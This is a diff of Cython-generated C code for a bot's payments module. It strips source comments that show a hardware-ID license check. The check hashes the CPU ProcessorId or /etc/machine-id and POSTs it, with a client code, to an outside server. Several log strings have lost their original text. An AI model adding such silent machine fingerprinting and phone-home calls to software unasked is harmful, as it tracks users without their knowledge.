PyObject *__pyx_pf_8handlers_8payments_4gift_18get_hardware_id(CYTHON_UNU __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__pyx_t_8) { - /* "handlers/payments/gift.py":261 - * try: - * if platform.system() == "Windows": - * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() # <<<<<<<<<<<<<< - * else: - * with open("/etc/machine-id") as f: - */ __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_subprocess); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 261, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_check_output); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 261, __pyx_L3_error) @@ -10053,23 +8852,9 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_18get_hardware_id(CYTHON_UNU __pyx_v_result = __pyx_t_4; __pyx_t_4 = 0; - /* "handlers/payments/gift.py":260 - * """ - * try: - * if platform.system() == "Windows": # <<<<<<<<<<<<<< - * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() - * else: - */ goto __pyx_L9; } - /* "handlers/payments/gift.py":263 - * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() - * else: - * with open("/etc/machine-id") as f: # <<<<<<<<<<<<<< - * result = f.read().strip() - * - */ /*else*/ { /*with:*/ { __pyx_t_4 = __Pyx_PyObject_Call(__pyx_builtin_open, __pyx_tuple__36, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 263, __pyx_L3_error) @@ -10115,13 +8900,6 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_18get_hardware_id(CYTHON_UNU __pyx_v_f = __pyx_t_9; __pyx_t_9 = 0; - /* "handlers/payments/gift.py":264 - * else: - * with open("/etc/machine-id") as f: - * result = f.read().strip() # <<<<<<<<<<<<<< - * - * hardware_id = hashlib.sha256(result.encode()).hexdigest() - */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_f, __pyx_n_s_read); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 264, __pyx_L14_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = NULL; @@ -10174,13 +8952,6 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_18get_hardware_id(CYTHON_UNU __pyx_v_result = __pyx_t_9; __pyx_t_9 = 0; - /* "handlers/payments/gift.py":263 - * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() - * else: - * with open("/etc/machine-id") as f: # <<<<<<<<<<<<<< - * result = f.read().strip() - * - */ } __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; @@ -10259,13 +9030,6 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_18get_hardware_id(CYTHON_UNU } __pyx_L9:; - /* "handlers/payments/gift.py":266 - * result = f.read().strip() - * - * hardware_id = hashlib.sha256(result.encode()).hexdigest() # <<<<<<<<<<<<<< - * return hardware_id - * except Exception: - */ __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_hashlib); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 266, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_sha256); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 266, __pyx_L3_error) @@ -10347,25 +9111,11 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_18get_hardware_id(CYTHON_UNU __pyx_v_hardware_id = __pyx_t_4; __pyx_t_4 = 0; - /* "handlers/payments/gift.py":267 - * - * hardware_id = hashlib.sha256(result.encode()).hexdigest() - * return hardware_id # <<<<<<<<<<<<<< - * except Exception: - * return None - */ __Pyx_XDECREF(__pyx_r); __Pyx_INCREF(__pyx_v_hardware_id); __pyx_r = __pyx_v_hardware_id; goto __pyx_L7_try_return; - /* "handlers/payments/gift.py":259 - * hardware-. - * """ - * try: # <<<<<<<<<<<<<< - * if platform.system() == "Windows": - * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() - */ } __pyx_L3_error:; __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; @@ -10375,13 +9125,6 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_18get_hardware_id(CYTHON_UNU __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; - /* "handlers/payments/gift.py":268 - * hardware_id = hashlib.sha256(result.encode()).hexdigest() - * return hardware_id - * except Exception: # <<<<<<<<<<<<<< - * return None - * - */ __pyx_t_18 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_18) { __Pyx_AddTraceback("handlers.payments.gift.get_hardware_id", __pyx_clineno, __pyx_lineno, __pyx_filename); @@ -10390,13 +9133,6 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_18get_hardware_id(CYTHON_UNU __Pyx_XGOTREF(__pyx_t_5); __Pyx_XGOTREF(__pyx_t_6); - /* "handlers/payments/gift.py":269 - * return hardware_id - * except Exception: - * return None # <<<<<<<<<<<<<< - * - * async def validate_client_code(): - */ __Pyx_XDECREF(__pyx_r); __pyx_r = Py_None; __Pyx_INCREF(Py_None); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; @@ -10406,13 +9142,6 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_18get_hardware_id(CYTHON_UNU } goto __pyx_L5_except_error; - /* "handlers/payments/gift.py":259 - * hardware-. - * """ - * try: # <<<<<<<<<<<<<< - * if platform.system() == "Windows": - * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() - */ __pyx_L5_except_error:; __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); @@ -10433,13 +9162,6 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_18get_hardware_id(CYTHON_UNU goto __pyx_L0; } - /* "handlers/payments/gift.py":255 - * - * - * def get_hardware_id(): # <<<<<<<<<<<<<< - * """ - * hardware-. - */ /* function exit code */ __pyx_L1_error:; @@ -10461,13 +9183,6 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_18get_hardware_id(CYTHON_UNU } static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/gift.py":271 - * return None - * - * async def validate_client_code(): # <<<<<<<<<<<<<< - * """ - * hardware ID . - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_4gift_21validate_client_code(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused); /*proto*/ @@ -10576,13 +9291,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 271, __pyx_L1_error) - /* "handlers/payments/gift.py":275 - * hardware ID . - * """ - * hardware_id = get_hardware_id() # <<<<<<<<<<<<<< - * if not hardware_id: - * logger.info(" . ") - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_get_hardware_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 275, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; @@ -10611,24 +9319,10 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine __pyx_cur_scope->__pyx_v_hardware_id = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/gift.py":276 - * """ - * hardware_id = get_hardware_id() - * if not hardware_id: # <<<<<<<<<<<<<< - * logger.info(" . ") - * return False - */ __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_hardware_id); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 276, __pyx_L1_error) __pyx_t_6 = (!__pyx_t_5); if (__pyx_t_6) { - /* "handlers/payments/gift.py":277 - * hardware_id = get_hardware_id() - * if not hardware_id: - * logger.info(" . ") # <<<<<<<<<<<<<< - * return False - * - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 277, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 277, __pyx_L1_error) @@ -10658,33 +9352,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/gift.py":278 - * if not hardware_id: - * logger.info(" . ") - * return False # <<<<<<<<<<<<<< - * - * try: - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_False); goto __pyx_L0; - /* "handlers/payments/gift.py":276 - * """ - * hardware_id = get_hardware_id() - * if not hardware_id: # <<<<<<<<<<<<<< - * logger.info(" . ") - * return False - */ } - /* "handlers/payments/gift.py":280 - * return False - * - * try: # <<<<<<<<<<<<<< - * async with aiohttp.ClientSession() as session: - * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} - */ { __Pyx_ExceptionSave(&__pyx_t_7, &__pyx_t_8, &__pyx_t_9); __Pyx_XGOTREF(__pyx_t_7); @@ -10692,13 +9365,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine __Pyx_XGOTREF(__pyx_t_9); /*try:*/ { - /* "handlers/payments/gift.py":281 - * - * try: - * async with aiohttp.ClientSession() as session: # <<<<<<<<<<<<<< - * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} - * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: - */ /*with:*/ { __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_aiohttp); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 281, __pyx_L5_error) __Pyx_GOTREF(__pyx_t_3); @@ -10810,13 +9476,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine __pyx_cur_scope->__pyx_v_session = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/gift.py":282 - * try: - * async with aiohttp.ClientSession() as session: - * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} # <<<<<<<<<<<<<< - * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: - * if response.status == 200: - */ __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 282, __pyx_L16_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_CLIENT_CODE); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 282, __pyx_L16_error) @@ -10828,13 +9487,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine __pyx_cur_scope->__pyx_v_payload = ((PyObject*)__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/gift.py":283 - * async with aiohttp.ClientSession() as session: - * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} - * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: # <<<<<<<<<<<<<< - * if response.status == 200: - * data = await response.json() - */ /*with:*/ { __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_session, __pyx_n_s_post); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 283, __pyx_L16_error) __Pyx_GOTREF(__pyx_t_3); @@ -10948,26 +9600,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine __pyx_cur_scope->__pyx_v_response = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/gift.py":284 - * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} - * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: - * if response.status == 200: # <<<<<<<<<<<<<< - * data = await response.json() - * if data.get("status") == "success": - */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_response, __pyx_n_s_status); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 284, __pyx_L27_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_3, __pyx_int_200, 0xC8, 0)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 284, __pyx_L27_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_6) { - /* "handlers/payments/gift.py":285 - * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: - * if response.status == 200: - * data = await response.json() # <<<<<<<<<<<<<< - * if data.get("status") == "success": - * logger.info(" !.") - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_response, __pyx_n_s_json); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 285, __pyx_L27_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = NULL; @@ -11069,13 +9707,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine __pyx_cur_scope->__pyx_v_data = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/gift.py":286 - * if response.status == 200: - * data = await response.json() - * if data.get("status") == "success": # <<<<<<<<<<<<<< - * logger.info(" !.") - * return True - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 286, __pyx_L27_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = NULL; @@ -11104,13 +9735,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_6) { - /* "handlers/payments/gift.py":287 - * data = await response.json() - * if data.get("status") == "success": - * logger.info(" !.") # <<<<<<<<<<<<<< - * return True - * else: - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 287, __pyx_L27_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 287, __pyx_L27_error) @@ -11140,33 +9764,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/gift.py":288 - * if data.get("status") == "success": - * logger.info(" !.") - * return True # <<<<<<<<<<<<<< - * else: - * logger.info(f": {data.get('message', ' .')}") - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_True); goto __pyx_L31_try_return; - /* "handlers/payments/gift.py":286 - * if response.status == 200: - * data = await response.json() - * if data.get("status") == "success": # <<<<<<<<<<<<<< - * logger.info(" !.") - * return True - */ } - /* "handlers/payments/gift.py":290 - * return True - * else: - * logger.info(f": {data.get('message', ' .')}") # <<<<<<<<<<<<<< - * return False - * elif response.status in [502, 404]: - */ /*else*/ { __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_logger); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 290, __pyx_L27_error) __Pyx_GOTREF(__pyx_t_1); @@ -11209,34 +9812,13 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/gift.py":291 - * else: - * logger.info(f": {data.get('message', ' .')}") - * return False # <<<<<<<<<<<<<< - * elif response.status in [502, 404]: - * logger.info(" .") - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_False); goto __pyx_L31_try_return; } - /* "handlers/payments/gift.py":284 - * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} - * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: - * if response.status == 200: # <<<<<<<<<<<<<< - * data = await response.json() - * if data.get("status") == "success": - */ } - /* "handlers/payments/gift.py":292 - * logger.info(f": {data.get('message', ' .')}") - * return False - * elif response.status in [502, 404]: # <<<<<<<<<<<<<< - * logger.info(" .") - * return True - */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_response, __pyx_n_s_status); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 292, __pyx_L27_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_3, __pyx_int_502, 0x1F6, 0)); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 292, __pyx_L27_error) @@ -11252,13 +9834,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine __pyx_t_5 = __pyx_t_6; if (__pyx_t_5) { - /* "handlers/payments/gift.py":293 - * return False - * elif response.status in [502, 404]: - * logger.info(" .") # <<<<<<<<<<<<<< - * return True - * else: - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 293, __pyx_L27_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 293, __pyx_L27_error) @@ -11288,33 +9863,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/gift.py":294 - * elif response.status in [502, 404]: - * logger.info(" .") - * return True # <<<<<<<<<<<<<< - * else: - * logger.info(f" : {response.status}") - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_True); goto __pyx_L31_try_return; - /* "handlers/payments/gift.py":292 - * logger.info(f": {data.get('message', ' .')}") - * return False - * elif response.status in [502, 404]: # <<<<<<<<<<<<<< - * logger.info(" .") - * return True - */ } - /* "handlers/payments/gift.py":296 - * return True - * else: - * logger.info(f" : {response.status}") # <<<<<<<<<<<<<< - * return False - * except aiohttp.ClientConnectorError: - */ /*else*/ { __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_logger); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 296, __pyx_L27_error) __Pyx_GOTREF(__pyx_t_11); @@ -11354,25 +9908,11 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/gift.py":297 - * else: - * logger.info(f" : {response.status}") - * return False # <<<<<<<<<<<<<< - * except aiohttp.ClientConnectorError: - * logger.info(" ") - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_False); goto __pyx_L31_try_return; } - /* "handlers/payments/gift.py":283 - * async with aiohttp.ClientSession() as session: - * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} - * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: # <<<<<<<<<<<<<< - * if response.status == 200: - * data = await response.json() - */ } __pyx_L27_error:; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -11743,13 +10283,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine __pyx_L44:; } - /* "handlers/payments/gift.py":281 - * - * try: - * async with aiohttp.ClientSession() as session: # <<<<<<<<<<<<<< - * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} - * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: - */ } __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; @@ -12065,13 +10598,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine __pyx_L51:; } - /* "handlers/payments/gift.py":280 - * return False - * - * try: # <<<<<<<<<<<<<< - * async with aiohttp.ClientSession() as session: - * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} - */ } __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; @@ -12083,13 +10609,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/gift.py":298 - * logger.info(f" : {response.status}") - * return False - * except aiohttp.ClientConnectorError: # <<<<<<<<<<<<<< - * logger.info(" ") - * return True - */ __Pyx_ErrFetch(&__pyx_t_3, &__pyx_t_2, &__pyx_t_11); __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_aiohttp); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 298, __pyx_L7_except_error) __Pyx_GOTREF(__pyx_t_1); @@ -12107,13 +10626,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_3); - /* "handlers/payments/gift.py":299 - * return False - * except aiohttp.ClientConnectorError: - * logger.info(" ") # <<<<<<<<<<<<<< - * return True - * except aiohttp.ClientResponseError as e: - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_logger); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 299, __pyx_L7_except_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_26 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_info); if (unlikely(!__pyx_t_26)) __PYX_ERR(0, 299, __pyx_L7_except_error) @@ -12143,13 +10655,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine } __Pyx_DECREF(__pyx_t_24); __pyx_t_24 = 0; - /* "handlers/payments/gift.py":300 - * except aiohttp.ClientConnectorError: - * logger.info(" ") - * return True # <<<<<<<<<<<<<< - * except aiohttp.ClientResponseError as e: - * if e.status in [301, 302]: - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_True); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -12158,13 +10663,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine goto __pyx_L8_except_return; } - /* "handlers/payments/gift.py":301 - * logger.info(" ") - * return True - * except aiohttp.ClientResponseError as e: # <<<<<<<<<<<<<< - * if e.status in [301, 302]: - * logger.info(" ") - */ __Pyx_ErrFetch(&__pyx_t_3, &__pyx_t_2, &__pyx_t_11); __Pyx_GetModuleGlobalName(__pyx_t_24, __pyx_n_s_aiohttp); if (unlikely(!__pyx_t_24)) __PYX_ERR(0, 301, __pyx_L7_except_error) __Pyx_GOTREF(__pyx_t_24); @@ -12186,13 +10684,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine __pyx_cur_scope->__pyx_v_e = __pyx_t_2; /*try:*/ { - /* "handlers/payments/gift.py":302 - * return True - * except aiohttp.ClientResponseError as e: - * if e.status in [301, 302]: # <<<<<<<<<<<<<< - * logger.info(" ") - * return True - */ __pyx_t_26 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_e, __pyx_n_s_status); if (unlikely(!__pyx_t_26)) __PYX_ERR(0, 302, __pyx_L59_error) __Pyx_GOTREF(__pyx_t_26); __pyx_t_6 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_26, __pyx_int_301, 0x12D, 0)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 302, __pyx_L59_error) @@ -12208,13 +10699,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine __pyx_t_6 = __pyx_t_5; if (__pyx_t_6) { - /* "handlers/payments/gift.py":303 - * except aiohttp.ClientResponseError as e: - * if e.status in [301, 302]: - * logger.info(" ") # <<<<<<<<<<<<<< - * return True - * else: - */ __Pyx_GetModuleGlobalName(__pyx_t_24, __pyx_n_s_logger); if (unlikely(!__pyx_t_24)) __PYX_ERR(0, 303, __pyx_L59_error) __Pyx_GOTREF(__pyx_t_24); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_24, __pyx_n_s_info); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 303, __pyx_L59_error) @@ -12244,13 +10728,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine } __Pyx_DECREF(__pyx_t_26); __pyx_t_26 = 0; - /* "handlers/payments/gift.py":304 - * if e.status in [301, 302]: - * logger.info(" ") - * return True # <<<<<<<<<<<<<< - * else: - * logger.info(f" : {e.status}") - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_True); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -12258,22 +10735,8 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; goto __pyx_L58_return; - /* "handlers/payments/gift.py":302 - * return True - * except aiohttp.ClientResponseError as e: - * if e.status in [301, 302]: # <<<<<<<<<<<<<< - * logger.info(" ") - * return True - */ } - /* "handlers/payments/gift.py":306 - * return True - * else: - * logger.info(f" : {e.status}") # <<<<<<<<<<<<<< - * return True - * except Exception as e: - */ /*else*/ { __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_logger); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 306, __pyx_L59_error) __Pyx_GOTREF(__pyx_t_1); @@ -12313,13 +10776,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine } __Pyx_DECREF(__pyx_t_26); __pyx_t_26 = 0; - /* "handlers/payments/gift.py":307 - * else: - * logger.info(f" : {e.status}") - * return True # <<<<<<<<<<<<<< - * except Exception as e: - * if "Name or service not known" in str(e): - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_True); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -12329,13 +10785,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine } } - /* "handlers/payments/gift.py":301 - * logger.info(" ") - * return True - * except aiohttp.ClientResponseError as e: # <<<<<<<<<<<<<< - * if e.status in [301, 302]: - * logger.info(" ") - */ /*finally:*/ { __pyx_L59_error:; /*exception exit:*/{ @@ -12405,13 +10854,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine } } - /* "handlers/payments/gift.py":308 - * logger.info(f" : {e.status}") - * return True - * except Exception as e: # <<<<<<<<<<<<<< - * if "Name or service not known" in str(e): - * logger.info(" .") - */ __pyx_t_28 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_28) { __Pyx_AddTraceback("handlers.payments.gift.validate_client_code", __pyx_clineno, __pyx_lineno, __pyx_filename); @@ -12424,26 +10866,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine __pyx_cur_scope->__pyx_v_e = __pyx_t_2; /*try:*/ { - /* "handlers/payments/gift.py":309 - * return True - * except Exception as e: - * if "Name or service not known" in str(e): # <<<<<<<<<<<<<< - * logger.info(" .") - * return True - */ __pyx_t_26 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_e); if (unlikely(!__pyx_t_26)) __PYX_ERR(0, 309, __pyx_L73_error) __Pyx_GOTREF(__pyx_t_26); __pyx_t_6 = (__Pyx_PyUnicode_ContainsTF(__pyx_kp_u_Name_or_service_not_known, __pyx_t_26, Py_EQ)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 309, __pyx_L73_error) __Pyx_DECREF(__pyx_t_26); __pyx_t_26 = 0; if (__pyx_t_6) { - /* "handlers/payments/gift.py":310 - * except Exception as e: - * if "Name or service not known" in str(e): - * logger.info(" .") # <<<<<<<<<<<<<< - * return True - * logger.info(f" : {e}") - */ __Pyx_GetModuleGlobalName(__pyx_t_24, __pyx_n_s_logger); if (unlikely(!__pyx_t_24)) __PYX_ERR(0, 310, __pyx_L73_error) __Pyx_GOTREF(__pyx_t_24); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_24, __pyx_n_s_info); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 310, __pyx_L73_error) @@ -12473,13 +10901,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_22generator6(__pyx_Coroutine } __Pyx_DECREF(__pyx_t_26); __pyx_t_26 = 0; - /* "handlers/payments/gift.py":311 - * if "Name or service not known" in str(e): - * logger.info(" .") - * return True # <<<<<<<<<<<<<< - * logger.info(f" : 